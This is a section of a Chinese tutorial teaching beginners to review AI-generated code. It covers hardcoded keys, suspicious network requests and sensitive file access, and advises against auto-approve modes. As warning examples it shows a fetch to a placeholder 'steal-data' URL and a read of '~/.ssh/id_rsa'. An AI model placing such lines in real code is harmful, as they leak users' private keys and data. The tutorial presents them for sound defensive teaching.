
经过本节学习,你将了解:
根据 2025 年的开发者调查:
这意味着:很多人正在使用他们并不真正理解的代码。
Simon Willison(AI 领域知名专家、Django 核心贡献者)对此有一个有趣的观点:
"如果 AI 写了所有代码,但你审查、测试并理解了它,那不是 Vibe Coding——那是用 AI 当打字助手。"
换句话说:
| 做法 | 类型 | 风险 |
|---|---|---|
| AI 生成 → 审查 → 测试 → 部署 | 用 AI 辅助开发 | 较低 |
| AI 生成 → 直接部署 | 纯 Vibe Coding | 较高 |
我们在本教程中倡导的是有意识的 AI 辅助开发:充分利用 AI 的能力,但保持人类的判断和审查。
你可能会想:我是初学者,根本看不懂代码,怎么审查?
好消息是:你不需要完全理解每一行代码,就可以进行有意义的审查。
即使不懂代码,你也能识别这些模式:
// 问自己:这里有没有看起来像密钥的东西?
const key = "sk-abc123..." // 这看起来像密钥
const key = process.env.KEY // 这是正确的方式
留意代码是否在向你不认识的地址发送数据:
// 问自己:这个网址是我知道的服务吗?
fetch("https://api.openai.com/...") // 正常,OpenAI 官方
fetch("https://random-site.xyz/steal-data") // 可疑
注意代码是否在读写文件,特别是敏感路径:
// 问自己:为什么要读取这些文件?
fs.readFile("~/.ssh/id_rsa") // 危险!在读取 SSH 私钥
fs.readFile("./data.json") // 正常,读取项目内的数据
你可以让另一个 AI(或同一个 AI)来检查代码:
请审查以下代码,检查是否有:
1. 硬编码的密钥或密码
2. 可疑的网络请求
3. 不安全的文件操作
4. 其他安全隐患
[粘贴代码]
用一个 AI 来审查另一个 AI 的代码,可以发现一些明显的问题。但这不能替代你自己的判断。
一些 AI IDE 提供了"自动批准"或"Yolo 模式",允许 AI 不经你确认就执行命令或修改文件。
初学者应该关闭此功能。
原因:
每个操作都手动确认,虽然慢一点,但更安全,也能帮助你理解发生了什么。
代码审查不需要花很多时间。建立以下习惯:
每次 AI 生成代码后:
快速扫一眼,有没有看起来像密钥的字符串
如果有网络请求,确认目标地址是你知道的
如果看不懂某段代码在做什么,问 AI 解释
每次准备提交/部署前:
运行安全检查清单(5.3.4 节)
确认 .env 文件没有被包含
定期回顾:
检查项目依赖是否需要更新
确认没有新的安全警告
AI 生成的代码,最终责任在你。
这不是为了吓你,而是提醒你:保持审查习惯,是保护自己的最好方式。